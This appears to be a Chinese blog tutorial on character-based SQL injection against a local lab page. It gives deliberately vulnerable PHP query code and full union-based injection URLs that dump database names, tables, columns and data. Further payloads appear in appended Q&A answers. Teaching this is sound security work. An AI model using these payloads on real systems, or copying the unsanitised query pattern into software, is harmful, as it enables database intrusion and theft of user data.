SQL注入原理-字符型注入

        小伙伴们大家好!本期为大家带来的是SQL注入原理-字符型注入的讲解!

目录

SQL注入原理

字符型注入

一、单引号字符注入

1.测试是否存在注入点

2、判断字段个数

3、找出可以回显的字段

4、查看当前数据库、数据库用户以及数据库版本

5、查看所有的数据名

6、查看数据库下的所有表名 

7、查询表中的所有字段

8、查询表中的数据

总结


SQL注入原理

        SQL注入的原理是由于后端没有对前端用户输入的数据进行检验与过滤,导致用户输入的SQL语句传入到后端,被后端执行。

字符型注入

        所谓字符型注入就是用户在前端输入的参数值传入到后端,后端的SQL查询语句将参数值用引号或者括号等特殊符号包裹了起来。

例如:

select * from users where username='admin'

这里的admin就被单引号包裹了起来。

下面我们就进入字符型注入的学习。

一、单引号字符注入

源代码:

<?php

    // 连接数据库
    $coon = mysqli_connect("127.0.0.1","root","root","test",3306);
    error_reporting(0);

    if (isset($_GET['id'])) {
        // 接受传来的参数id
        $id = @$_GET['id'];
        // 执行的SQL语句
        $sql = "select id,username,password,phone,e_mail from guests where id='$id' limit 0,1";
        $res = mysqli_query($coon, $sql);
        $row = mysqli_fetch_array($res);

        if ($res) {

            echo "<center>";
            echo "<h1>"."username:".$row['username']."</h1>"."<br/>";
            echo "<h1>"."password:".$row['password']."</h1>"."<br/>";
            echo "<h1>"."phone:".$row['phone']."</h1>"."<br/>";
            echo "<h1>"."e-mail:".$row['e_mail']."</h1>"."<br/>";
            echo "</center>";
        }else{
            echo "<center></br>";
            echo "<h1>";
            print_r(mysqli_error($coon));
            echo "</h1></center>";
        }
    } else {
        echo "<center><br/>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }

1.测试是否存在注入点

我们直接传入id值“?id=1”。

我们输入“?id=1 and 1=2”来检测and 1=2 的条件是否能被数据库执行。

 发现数据依然能够正常回显,这是因为我们传入的id值是被单引号包裹了起来。后端的查询语句的条件被改成“where id='1 and 1=2'” ,而MySQL是一种弱类型的语言,会把'1 and 1=2'这条字符串的数值当作字符串前边的1,所以查询输出的数据依旧是id值为1 的数据。

这个时候我们就要闭合单引号,我们在id值后边加一个单引号试一下,构造id值“?id=1'”。

发现报错,这是因为1'被插入SQL语句中,由于后面多了个单引号使得语句报错。

要怎么解决这个问题呢?

我们可以采用注释掉后面的一个单引号就可以。

构造id值“?id=1'--+”,"--+"代表注释,另外SQL语句还有其他的注释符号“#”。

http://127.0.0.1/opsql/sql04.php?id=1'--+

成功回显了id=1的数据。

下面我们再尝试构造“?id=1' and 1=2--+”,观察页面是否正常回显。

http://127.0.0.1/opsql/sql04.php?id=1' and 1=2--+

由于1=2的条件是错误的,页面没有回显id值为1的数据,所以and 1=2这条语句成功的被后端执行。

再构造“?id=1' and 1=1--+”看页面是否能回显id值为1的数据。

http://127.0.0.1/opsql/sql04.php?id=1' and 1=1--+

正常显示了id值为1 的数据,说明存在注入点。 

2、判断字段个数

接下来,我们就是来判断后端在数据库查询时,总共查询了几个字段的数据。

我们通常使用order by 来判断后端进行数据库查询时所查询的字段数。

我们直接构造id值为“?id=1' order by 5--+

http://127.0.0.1/opsql/sql04.php?id=1' order by 5--+

order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。 

order by 5的时候正常显示了id值为1 的数据,而order by 6的时候报错“Unknown column '4' in 'order clause'”。说明后端SQL查询语句查询的字段数为5个,返回上面查看源代码查询的字段数确实是5个。

3、找出可以回显的字段

 构造id值“?id=1' union select 1,2,3,4,5--+

http://127.0.0.1/opsql/sql04.php?id=1' union select 1,2,3,4,5--+

发现没有显示1,2,3...。这是为什么呢?因为后端正常查询了id=1的数据并且前端只显示一条数据的信息。想要得到1,2,3...分别能在哪里显示,就必须让后端的查询语句查不到结果,即:让id值为负或者在id=1'后添加一个条件“and 1=2”

这里可以查询的字段,第二个第三个第四个第五个字段都能在前端页面显示。 

4、查看当前数据库、数据库用户以及数据库版本

构造id值“?id=-1' union select 1,database(),user(),version(),5--+” 

http://127.0.0.1/opsql/sql04.php?id=-1' union select 1,database(),user(),version(),5--+

MySQL中database()为查看当前数据库的函数, user()为查看当前数据库用户名的函数,version()为查看数据库版本信息的函数。 

从页面回显结果可以得到当前数据库名为test,当前数据库用户名为root@localhost,数据库的版本为5.5.53。

5、查看所有的数据名

        构造id值为“?id=-1' union select 1,2,group_concat(schema_name),4,5 from information_schema.schemata--+”

http://127.0.0.1/opsql/sql04.php?id=-1' union select 1,2,group_concat(schema_name),4,5 from information_schema.schemata--+

因为前端只显示一条数据,而我们想要得到所有的结果就要使用group_concat()函数,group_concat() 可以将我们查询到的数据用“,”拼接起来。

information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。 

6、查看数据库下的所有表名 

构造id值“?id=-1' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='study'--+”。

http://127.0.0.1/opsql/sql04.php?id=-1' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='study'--+

 7、查询表中的所有字段

 构造id值“?id=-1' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='study' and table_name='student'--+”

http://127.0.0.1/opsql/sql04.php?id=-1' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='study' and table_name='student'--+

8、查询表中的数据

构造id值“?id=-1' union select 1,2,group_concat(id),group_concat(name),group_concat(age) from study.student--+”

http://127.0.0.1/opsql/sql04.php?id=-1' union select 1,2,group_concat(id),group_concat(name),group_concat(age) from study.student--+

二、双引号字符注入

源代码:

<?php

    // 连接数据库
    $coon = mysqli_connect("127.0.0.1","root","root","test",3306);
    error_reporting(0);

    if (isset($_GET['id'])) {
        // 接受传来的参数id
        $id = @$_GET['id'];
        // 执行的SQL语句
        $sql = "select id,username,password,phone,e_mail from guests where id=\"$id\"limit 0,1";
        $res = mysqli_query($coon, $sql);
        $row = mysqli_fetch_array($res);

        if ($res) {

            echo "<center>";
            echo "<h1>"."username:".$row['username']."</h1>"."<br/>";
            echo "<h1>"."password:".$row['password']."</h1>"."<br/>";
            echo "<h1>"."phone:".$row['phone']."</h1>"."<br/>";
            echo "<h1>"."e-mail:".$row['e_mail']."</h1>"."<br/>";
            echo "</center>";
        }else{
            echo "<center></br>";
            echo "<h1>";
            print_r(mysqli_error($coon));
            echo "</h1></center>";
        }
    } else {
        echo "<center><br/>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }

 

咱们还是构造id值“?id=1" and 1=2--+”,注意这里咱们在id=1后加的是双引号了,而不是单引号。

来看一下页面回显的情况,如果能够回显id值为1的数据,代表不能注入或者包裹id符号不是双引号;如果不能够回显id值为1的数据,代表and 1=2 条件被传入到后端数据库查询语句,导致后端没有查询到结果,以至于前端没有回显数据,则存在注入点。

and 1=2 时页面没有回显id值为1的数据 ,而and 1=1时页面正常回显了id值为1的数据,所以存在注入点。

接下来就是判断后端查询的字段个数,找出前端页面可以回显的字段,爆出数据库名、表名、字段名,爆出字段名后就可以查看数据了。具体操作跟单引号字符注入的步骤一样,这里就不赘述了。

三、小括号字符注入

源代码:

<?php

    // 连接数据库
    $coon = mysqli_connect("127.0.0.1","root","root","test",3306);
    error_reporting(0);

    if (isset($_GET['id'])) {
        // 接受传来的参数id
        $id = @$_GET['id'];
        // 执行的SQL语句
        $sql = "select id,username,password,phone,e_mail from guests where id=($id) limit 0,1";
        $res = mysqli_query($coon, $sql);
        $row = mysqli_fetch_array($res);

        if ($res) {

            echo "<center>";
            echo "<h1>"."username:".$row['username']."</h1>"."<br/>";
            echo "<h1>"."password:".$row['password']."</h1>"."<br/>";
            echo "<h1>"."phone:".$row['phone']."</h1>"."<br/>";
            echo "<h1>"."e-mail:".$row['e_mail']."</h1>"."<br/>";
            echo "</center>";
        }else{
            echo "<center></br>";
            echo "<h1>";
            print_r(mysqli_error($coon));
            echo "</h1></center>";
        }
    } else {
        echo "<center><br/>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }

首先咱们先构造id值“?id=1'”,直接先在id=1后加一个单引号,观察页面回显。

通过报错信息猜测id值可能被小括号包裹或者被单引号+小括号包裹。 

我们假定id值只被小括号包裹,构造id值“?id=1) and 1=2--+”,这里id=1后就变成了小括号了。

来看一下页面回显的情况,如果能够回显id值为1的数据,代表不能注入或者包裹id符号不是小括号;如果不能够回显id值为1的数据,代表and 1=2 条件被传入到后端数据库查询语句,导致后端没有查询到结果,以至于前端没有回显数据,则存在注入点。

and 1=2 时页面没有回显出id值为1的数据,and 1=1时 页面正常的回显了id值为1的数据,说明id值是只被小括号包裹的,存在注入点。

接下来的操作就跟前面的单引号双引号字符注入的操作一样了,这里就不赘述了。

四、单引号+小括号的字符注入

源代码:

<?php

    // 连接数据库
    $coon = mysqli_connect("127.0.0.1","root","root","test",3306);
    error_reporting(0);

    if (isset($_GET['id'])) {
        // 接受传来的参数id
        $id = @$_GET['id'];
        // 执行的SQL语句
        $sql = "select id,username,password,phone,e_mail from guests where id=('$id') limit 0,1";
        $res = mysqli_query($coon, $sql);
        $row = mysqli_fetch_array($res);

        if ($res) {

            echo "<center>";
            echo "<h1>"."username:".$row['username']."</h1>"."<br/>";
            echo "<h1>"."password:".$row['password']."</h1>"."<br/>";
            echo "<h1>"."phone:".$row['phone']."</h1>"."<br/>";
            echo "<h1>"."e-mail:".$row['e_mail']."</h1>"."<br/>";
            echo "</center>";
        }else{
            echo "<center></br>";
            echo "<h1>";
            print_r(mysqli_error($coon));
            echo "</h1></center>";
        }
    } else {
        echo "<center><br/>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }

这里还是先判断是否存在注入点。

这里我们先构造id值“?id=1'”,直接在id=1后先加一个单引号看是否会发生什么。

查看页面回显

通过报错信息可以得知,id值是被单引号+小括号包裹的。

再来构造id值“?id=1') and 1=2--+”,这里id=1后就变成了单引号+小括号。

构造“?id=1') and 1=1--+”

and 1=1时正常回显,and 1=2没有正常回显,代表and 1=2 跟and 1=1 被查插入到了后端SQL语句,存在注入点。

接下来的操作还是跟之前的单引号字符注入的操作一样,这里不再赘述。

五、双引号+小括号字符注入

源代码:

<?php

    // 连接数据库
    $coon = mysqli_connect("127.0.0.1","root","root","test",3306);
    error_reporting(0);

    if (isset($_GET['id'])) {
        // 接受传来的参数id
        $id = @$_GET['id'];
        // 执行的SQL语句
        $sql = "select id,username,password,phone,e_mail from guests where id=(\"$id\") limit 0,1";
        $res = mysqli_query($coon, $sql);
        $row = mysqli_fetch_array($res);

        if ($res) {

            echo "<center>";
            echo "<h1>"."username:".$row['username']."</h1>"."<br/>";
            echo "<h1>"."password:".$row['password']."</h1>"."<br/>";
            echo "<h1>"."phone:".$row['phone']."</h1>"."<br/>";
            echo "<h1>"."e-mail:".$row['e_mail']."</h1>"."<br/>";
            echo "</center>";
        }else{
            echo "<center></br>";
            echo "<h1>";
            print_r(mysqli_error($coon));
            echo "</h1></center>";
        }
    } else {
        echo "<center><br/>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }

 这里我们还是先在构造id值“?id=1'”,先在id=1后加入单引号。

页面没有反应,再把单引号改成双引号试一下。

构造id值“?id=1"”

接下来就可以构造id值“?id=1") and 1=2--+” 和 “?id=1") and 1=1--+”来观察页面是否能够正常回显id值为1的数据了。

and 1=2 时页面没有回显出id值为1的数据,and 1=1时 页面正常的回显了id值为1的数据,说明存在注入点。

总结

字符型注入的基本流程:

        首先判断参数值是被什么符号包裹的,一般先在参数值后边加一个单引号,单引号报错的话可以根据报错信息得到参数被什么符号包裹的;如果单引号不行的话就使用双引号来测试。找到注入点之后,就先判断后端SQL查询语句查询的字段个数,再检测哪些字段可以被前端页面显示,接下来就可以爆出数据库名、表名、以及字段名了,爆出字段名之后就是最后的爆数据了。

  • 25
    点赞
  • 101
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: SQL手工注入漏洞测试通常是通过构造恶意输入来测试数据库系统的安全性,以检测可能存在的漏洞。在针对MySQL数据库字符注入测试中,攻击者会尝试利用输入表单中的字符数据来破坏SQL语句的可靠性,进而获取对数据库的访问权限。 攻击者通常会使用一些SQL注入工具,例如SQLMap、Havij等,通过模拟输入表单来测试Web应用程序是否存在SQL注入漏洞。在手动测试的过程中,攻击者需要了解目标系统中数据库的结构和使用的语言,并通过逐步构造恶意输入数据来尝试绕过系统的安全验证和防火墙,以获取对数据库的访问权限。 为避免SQL注入漏洞的产生,建议采用安全性更高的编程语言和框架,例如使用预处理语句、输入验证和过滤技术,同时定期对Web应用程序进行漏洞扫描和安全性检测,以降低数据库被攻击的风险。 ### 回答2: SQL注入是一种利用网站未正确过滤或验证用户输入数据的漏洞,通过构造一些特殊的SQL查询语句,来实现绕过网站的权限控制或者直接在数据库上执行一些恶意操作的攻击技术。SQL注入漏洞是常见的Web安全问题之一,并且MySQL是被广泛使用的数据库之一,因此测试MySQL数据库的手工注入漏洞测试也是非常必要的。 手工注入漏洞测试有多种方法,最常见的是利用逻辑性错误和SQL语句字符转义的脆弱性来构造恶意的SQL查询语句。首先,我们可以查找网站的URL参数和表单输入框,尝试在这些输入框中输入一些特殊字符(例如单引号,双引号和分号),看看是否能够返回一些不同寻常的错误信息。如果页面返回了一些SQL错误信息,那么很有可能存在SQL注入漏洞。 接下来的一步是手动构造SQL查询语句,注入恶意的代码。一般来说,SQL注入漏洞的主要攻击方法是利用SELECT,UPDATE,DELETE和INSERT等操作语句。我们可以在URL参数或表单输入框中输入如下代码片段,来测试是否存在漏洞: 1. SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'; 2. SELECT * FROM users WHERE username='admin' AND password='' UNION ALL SELECT 1,2,3; 3. SELECT * FROM users WHERE username='admin' OR 1=1# AND password=''; 上述代码分别用于测试逻辑性错误漏洞、UNION注入和基于SQL注释的漏洞。如果我们能够成功执行这些恶意代码,那么就说明存在SQL注入漏洞,攻击者可以使用类似的代码片段来执行任意的SQL查询。 为了防止SQL注入漏洞,可以采取以下措施: 1. 输入过滤:检查输入数据是否包含恶意代码和SQL语句特殊字符,并过滤或转义掉这些字符。 2. 预编译语句:使用PreparedStatement或其他预编译语句可以避免SQL语句被拼凑,从而避免SQL注入漏洞。 3. 限制查询权限:限制数据库用户的查询权限,并使用最小特权原则。 总之,在进行MySQL数据库的手工注入漏洞测试时,需要充分理解SQL注入漏洞的原理和漏洞类,并采取适当的防护措施来保护Web应用程序的安全性。 ### 回答3: SQL注入漏洞是常见的网络安全漏洞之一,而SQL手工注入漏洞测试是一种检测和验证SQL注入漏洞的方法。在Mysql数据库字符注入漏洞测试中,我们需要先准备好一台虚拟机或者真实主机,然后搭建好LAMP或者LEMP环境,以便进行后续的测试。 1. 测试目标 首先确定我们要测试的目标,这可以是一个网站,或者是一个具有数据库功能的应用程序。我们需要了解和分析目标,找到目标系统的漏洞点,才能有针对性地进行注入漏洞测试。 2. 确认注入点 找到目标系统的漏洞点后,我们需要确认注入点,这就是通过输入特定的字符序列来判断系统是否存在SQL注入漏洞。在Mysql数据库字符注入漏洞测试中,我们可以使用’和”这两个字符进行测试来确定注入点。 例如:我们可以输入以下字符序列来测试系统是否存在SQL注入漏洞:“'or 1=1#”,如果直接返回了数据,则说明该系统存在SQL注入漏洞。 3. 确认数据库和版本 在进行注入漏洞测试之前,我们需要知道目标系统所使用的数据库和版本。在Mysql数据库字符注入漏洞测试中,我们可以通过以下语句来确定数据库版本: select version(); 4. 利用SQL语句注入漏洞 当我们成功确认时,就可以利用SQL语句进行注入漏洞测试了,具体的方法如下: a. 使用union查询合并数据:可以输入以下字符序列来进行测试:‘+union+select+1,2,3#',如果成功,则系统会返回一个由“1,2,3”组成的数据集。 b. 使用group by控制查询结果:可以输入以下字符序列来进行测试:‘+union+select+1,count(*)+from+table_name+group+by+1#',如果成功,则系统会返回各个数据组的数量。 c. 使用order by控制查询结果排序:可以输入以下字符序列来进行测试:‘+union+select+1,2+from+table_name+order+by+3#',如果成功,则系统会返回具有排序的数据集。 5. 总结 以上就是Mysql数据库字符注入漏洞测试的基本步骤和方法。当然,注入漏洞测试是一项繁琐的工作,需要有一定的技术水平和丰富的经验。在进行注入漏洞测试之前,一定要保证进行充分的备份和风险评估,以防止对目标系统造成不可逆转的损失。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值